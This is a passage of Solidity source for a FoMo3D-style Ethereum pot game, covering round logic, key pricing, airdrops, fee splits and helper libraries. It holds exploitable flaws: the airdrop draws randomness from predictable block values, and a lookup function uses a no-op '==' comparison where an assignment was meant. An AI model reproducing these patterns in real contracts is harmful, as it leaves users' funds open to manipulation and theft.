* @return total keys for round
* @return time round ends
* @return time round started
* @return current pot
* @return current team ID & player ID in lead
* @return current player in leads address
* @return current player in leads name
* @return whales eth in for round
* @return bears eth in for round
* @return sneks eth in for round
* @return bulls eth in for round
* @return airdrop tracker # & airdrop pot
*/
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
return
(
round_[_rID].ico, //0
_rID, //1
round_[_rID].keys, //2
round_[_rID].end, //3
round_[_rID].strt, //4
round_[_rID].pot, //5
(round_[_rID].team + (round_[_rID].plyr * 10)), //6
plyr_[round_[_rID].plyr].addr, //7
plyr_[round_[_rID].plyr].name, //8
rndTmEth_[_rID][0], //9
rndTmEth_[_rID][1], //10
rndTmEth_[_rID][2], //11
rndTmEth_[_rID][3], //12
airDropTracker_ + (airDropPot_ * 1000) //13
);
}
/**
* @dev returns player info based on address. if no address is given, it will
* use msg.sender
* -functionhash- 0xee0b5d8b
* @param _addr address of the player you want to lookup
* @return player ID
* @return player name
* @return keys owned (current round)
* @return winnings vault
* @return general vault
* @return affiliate vault
* @return player round eth
*/
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID, //0
plyr_[_pID].name, //1
plyrRnds_[_pID][_rID].keys, //2
plyr_[_pID].win, //3
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4
plyr_[_pID].aff, //5
plyrRnds_[_pID][_rID].eth //6
);
}
//==============================================================================
// _ _ _ _ | _ _ . _ .
// (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine)
//=====================_|=======================================================
/**
* @dev logic runs whenever a buy order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// call core
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
// if round is not active
} else {
// check to see if end round needs to be ran
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
// put eth in players vault
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
/**
* @dev logic runs whenever a reload order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// get earnings from all vaults and return unused to gen vault
// because we use a custom safemath library. this will throw if player
// tried to spend more eth than they have.
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
// call core
core(_rID, _pID, _eth, _affID, _team, _eventData_);
// if round is not active and end round needs to be ran
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
/**
* @dev this is the core logic for any buy/reload that happens while a round
* is live.
*/
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
// if player is new to round
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
// early round eth limiter
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
// if eth left is greater than min eth allowed (sorry no pocket lint)
if (_eth > 1000000000)
{
// mint the new keys
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
// if they bought at least 1 whole key
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
// set new leaders
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
// set the new leader bool to true
_eventData_.compressedData = _eventData_.compressedData + 100;
}
// manage airdrops
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
// gib muni
uint256 _prize;
if (_eth >= 10000000000000000000)
{
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 3 prize was won
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 2 prize was won
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 3 prize was won
_eventData_.compressedData += 300000000000000000000000000000000;
}
// set airdrop happened bool to true
_eventData_.compressedData += 10000000000000000000000000000000;
// let event know how much was won
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
// reset air drop tracker
airDropTracker_ = 0;
}
}
// store the air drop tracker number (number of buys since last airdrop)
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
// update player
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
// update round
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
// distribute eth
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
// call end tx function to fire end tx event.
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
//==============================================================================
// _ _ | _ | _ _|_ _ _ _ .
// (_(_||(_|_||(_| | (_)| _\ .
//==============================================================================
/**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
/**
* @dev returns the amount of keys you would get given an amount of eth.
* -functionhash- 0xce89c80c
* @param _rID round ID you want price for
* @param _eth amount of eth sent in
* @return keys received
*/
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else // rounds over. need keys for new round
return ( (_eth).keys() );
}
/**
* @dev returns current eth price for X keys.
* -functionhash- 0xcf808000
* @param _keys number of keys desired (in 18 decimal format)
* @return amount of eth needed to send
*/
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else // rounds over. need price for new round
return ( (_keys).eth() );
}
//==============================================================================
// _|_ _ _ | _ .
// | (_)(_)|_\ .
//==============================================================================
/**
* @dev receives name/player info from names contract
*/
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev receives entire player name list
*/
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev gets existing or registers new pID. use this when a player may be new
* @return pID
*/
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
// if player is new to this version of fomo3d
if (_pID == 0)
{
// grab their player ID, name and last aff ID, from player names contract
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
// set up player account
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
// set the new player bool to true
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
/**
* @dev checks to make sure user picked a valid team. if not sets team
* to default (sneks)
*/
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
/**
* @dev decides if round end needs to be run & new round started. and if
* player unmasked earnings from previously played rounds need to be moved.
*/
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
// if player has played a previous round, move their unmasked earnings
// from that round to gen vault.
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
// update player's last round played
plyr_[_pID].lrnd = rID_;
// set the joined round bool to true
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
/**
* @dev ends the round. manages paying out winner/splitting up pot
*/
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
// setup local rID
uint256 _rID = rID_;
// grab our winning player and team id's
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
// grab our pot amount
uint256 _pot = round_[_rID].pot;
// calculate our winner share, community rewards, gen share,
// p3d share, and amount reserved for next pot
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot.mul(20)) / 100;
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
// calculate ppt for round mask
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
// pay our winner
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
// community rewards
admin1.transfer(_com.sub(_com / 2));
admin2.transfer(_com / 2);
round_[_rID].pot = _pot.add(_p3d);
// distribute gen portion to key holders
round_[_rID].mask = _ppt.add(round_[_rID].mask);
// prepare event data
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
// start next round
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
/**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
// put in gen vault
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
// zero out their earnings by updating mask
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
/**
* @dev updates round timer based on number of whole keys bought.
*/
function updateTimer(uint256 _keys, uint256 _rID)
private
{
// grab time
uint256 _now = now;
// calculate time based on number of keys bought
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
// compare to max and set new end time
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
/**
* @dev generates a random number between 0-99 and checks to see if thats
* resulted in an airdrop win
* @return do we have a winner?
*/
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
/**
* @dev distributes eth based on fees to com, aff, and p3d
*/
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
// pay 4% out to community rewards
uint256 _p1 = _eth / 50;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d = 0;
if (!address(admin1).call.value(_com.sub(_com / 2))())
{
// This ensures Team Just cannot influence the outcome of FoMo3D with
// bank migrations by breaking outgoing transactions.
// Something we would never do. But that's not the point.
// We spent 2000$ in eth re-deploying just to patch this, we hold the
// highest belief that everything we create should be trustless.
// Team JUST, The name you shouldn't have to trust.
_p3d = _p3d.add(_com.sub(_com / 2));
}
if (!address(admin2).call.value(_com / 2)())
{
_p3d = _p3d.add(_com / 2);
}
_com = _com.sub(_p3d);
// distribute share to affiliate
uint256 _aff = _eth / 10;
// decide what to do with affiliate share of fees
// affiliate must not be self, and must have a name registered
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
admin1.transfer(_aff.sub(_aff / 2));
admin2.transfer(_aff / 2);
}
// pay out p3d
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
round_[_rID].pot = round_[_rID].pot.add(_p3d);
// set up event data
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
/**
* @dev distributes eth based on fees to gen and pot
*/
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
// calculate gen share
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
// toss 1% into airdrop pot
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
// update eth balance (eth = eth - (com share + pot swap share + aff share + p3d share + airdrop pot share))
_eth = _eth.sub(((_eth.mul(15)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
// calculate pot
uint256 _pot = _eth.sub(_gen);
// distribute gen share (thats what updateMasks() does) and adjust
// balances for dust.
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
// add eth to pot
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
// set up event data
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
/**
* @dev updates masks for round and player when keys are bought
* @return dust left over
*/
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
/* MASKING NOTES
earnings masks are a tricky thing for people to wrap their minds around.
the basic thing to understand here. is were going to have a global
tracker based on profit per share for each round, that increases in
relevant proportion to the increase in share supply.
the player will have an additional mask that basically says "based
on the rounds mask, my shares, and how much i've already withdrawn,
how much is still owed to me?"
*/
// calc profit per key & round mask based on this buy: (dust goes to pot)
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
// calculate player earning from their own buy (only based on the keys
// they just bought). & update player earnings mask
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
// calculate & return dust
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
/**
* @dev adds up unmasked earnings, & vault earnings, sets them all to 0
* @return earnings in wei format
*/
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
// update gen vault
updateGenVault(_pID, plyr_[_pID].lrnd);
// from vaults
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
/**
* @dev prepares compression data and fires event for buy or reload tx's
*/
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
//==============================================================================
// (~ _ _ _._|_ .
// _)(/_(_|_|| | | \/ .
//====================/=========================================================
/** upon contract deploy, it will be deactivated. this is a one time
* use function that will activate the contract. we do this so devs
* have time to set things up on the web end **/
bool public activated_ = false;
function activate()
public
{
// only team just can activate
require((msg.sender == admin1 || msg.sender == admin2), "only admin can activate");
// can only be ran once
require(activated_ == false, "already activated");
// activate the contract
activated_ = true;
// lets start first round
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
//==============================================================================
// __|_ _ __|_ _ .
// _\ | | |_|(_ | _\ .
//==============================================================================
library F3Ddatasets {
//compressedData key
// [76-33][32][31][30][29][28-18][17][16-6][5-3][2][1][0]
// 0 - new player (bool)
// 1 - joined round (bool)
// 2 - new leader (bool)
// 3-5 - air drop tracker (uint 0-999)
// 6-16 - round end time
// 17 - winnerTeam
// 18 - 28 timestamp
// 29 - team
// 30 - 0 = reinvest (round), 1 = buy (round), 2 = buy (ico), 3 = reinvest (ico)
// 31 - airdrop happened bool
// 32 - airdrop tier
// 33 - airdrop amount won
//compressedIDs key
// [77-52][51-26][25-0]
// 0-25 - pID
// 26-51 - winPID
// 52-77 - rID
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr; // winner address
bytes32 winnerName; // winner name
uint256 amountWon; // amount won
uint256 newPot; // amount in new pot
uint256 P3DAmount; // amount distributed to p3d
uint256 genAmount; // amount distributed to gen
uint256 potAmount; // amount added to pot
}
struct Player {
address addr; // player address
bytes32 name; // player name
uint256 win; // winnings vault
uint256 gen; // general vault
uint256 aff; // affiliate vault
uint256 lrnd; // last round played
uint256 laff; // last affiliate id used
}
struct PlayerRounds {
uint256 eth; // eth player has added to round (used for eth limiter)
uint256 keys; // keys
uint256 mask; // player mask
uint256 ico; // ICO phase investment
}
struct Round {
uint256 plyr; // pID of player in lead
uint256 team; // tID of team in lead
uint256 end; // time ends/ended
bool ended; // has round end function been ran
uint256 strt; // time round started
uint256 keys; // keys
uint256 eth; // total eth in
uint256 pot; // eth to pot (during round) / final amount paid to winner (after round ends)
uint256 mask; // global mask
uint256 ico; // total eth sent in during ICO phase
uint256 icoGen; // total eth for gen during ICO phase
uint256 icoAvg; // average key price for ICO phase
}
struct TeamFee {
uint256 gen; // % of buy in thats paid to key holders of current round
uint256 p3d; // % of buy in thats paid to p3d holders
}
struct PotSplit {
uint256 gen; // % of pot thats paid to key holders of current round
uint256 p3d; // % of pot thats paid to p3d holders
}
}
//==============================================================================
// | _ _ _ | _ .
// |<(/_\/ (_(_||(_ .
//=======/======================================================================
library F3DKeysCalcShort {
using SafeMath for *;
/**
* @dev calculates number of keys received given X eth
* @param _curEth current amount of eth in contract
* @param _newEth eth being spent
* @return amount of ticket purchased
*/
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
/**
* @dev calculates amount of eth received if you sold X keys
* @param _curKeys current amount of keys that exist
* @param _sellKeys amount of keys you wish to sell
* @return amount of eth received
*/
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
/**
* @dev calculates how many keys would exist with given an amount of eth
* @param _eth eth "in contract"
* @return number of keys that would exist
*/
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
/**
* @dev calculates how much eth would be in contract given a number of keys
* @param _keys number of keys "in contract"
* @return eth that would exists
*/
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
//==============================================================================
// . _ _|_ _ _ |` _ _ _ _ .
// || | | (/_| ~|~(_|(_(/__\ .
//==============================================================================
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
/**
* @title -Name Filter- v0.1.9
* ┌┬┐┌─┐┌─┐┌┬┐ ╦╦ ╦╔═╗╔╦╗ ┌─┐┬─┐┌─┐┌─┐┌─┐┌┐┌┌┬┐┌─┐
* │ ├┤ ├─┤│││ ║║ ║╚═╗ ║ ├─┘├┬┘├┤ └─┐├┤ │││ │ └─┐
* ┴ └─┘┴ ┴┴ ┴ ╚╝╚═╝╚═╝ ╩ ┴ ┴└─└─┘└─┘└─┘┘└┘ ┴ └─┘
* _____ _____
* (, / /) /) /) (, / /) /)
* ┌─┐ / _ (/_ // // / _ // _ __ _(/
* ├─┤ ___/___(/_/(__(_/_(/_(/_ ___/__/_)_(/_(_(_/ (_(_(_
* ┴ ┴ / / .-/ _____ (__ /
* (__ / (_/ (, / /)™
* / __ __ __ __ _ __ __ _ _/_ _ _(/
* ┌─┐┬─┐┌─┐┌┬┐┬ ┬┌─┐┌┬┐ /__/ (_(__(_)/ (_/_)_(_)/ (_(_(_(__(/_(_(_
* ├─┘├┬┘│ │ │││ ││ │ (__ / .-/ © Jekyll Island Inc. 2018
* ┴ ┴└─└─┘─┴┘└─┘└─┘ ┴ (_/
* _ __ _ ____ ____ _ _ _____ ____ ___
*=============| |\ | / /\ | |\/| | |_ =====| |_ | | | | | | | |_ | |_)==============*
*=============|_| \| /_/--\ |_| | |_|__=====|_| |_| |_|__ |_| |_|__ |_| \==============*
*
* ╔═╗┌─┐┌┐┌┌┬┐┬─┐┌─┐┌─┐┌┬┐ ╔═╗┌─┐┌┬┐┌─┐ ┌──────────┐
* ║ │ ││││ │ ├┬┘├─┤│ │ ║ │ │ ││├┤ │ Inventor │
* ╚═╝└─┘┘└┘ ┴ ┴└─┴ ┴└─┘ ┴ ╚═╝└─┘─┴┘└─┘ └──────────┘
*/
library NameFilter {
/**
* @dev filters name strings
* -converts uppercase to lower case.
* -makes sure it does not start/end with a space
* -makes sure it does not contain multiple spaces in a row
* -cannot be only numbers
* -cannot start with 0x
* -restricts characters to A-Z, a-z, 0-9, and space.
* @return reprocessed string in bytes32 format
*/
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
//sorry limited to 32 characters
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
// make sure it doesnt start with or end with space
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
// make sure first two characters are not 0x
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
// create a bool to track if we have a non number character
bool _hasNonNumber;
// convert & check
for (uint256 i = 0; i < _length; i++)
{
// if its uppercase A-Z
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
// convert to lower case a-z
_temp[i] = byte(uint(_temp[i]) + 32);
// we have a non number
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
// require character is a space
_temp[i] == 0x20 ||
// OR lowercase a-z
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
// or 0-9
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
// make sure theres not 2x spaces in a row
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
// see if we have a character other than a number
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
/**
* @title SafeMath v0.1.9
* @dev Math operations with safety checks that throw on error
* change notes: original SafeMath library from OpenZeppelin modified by Inventor
* - added sqrt
* - added sq
* - added pwr
* - changed asserts to requires with error log outputs
* - removed div, its useless
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
/**
* @dev x to the power of y
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
|
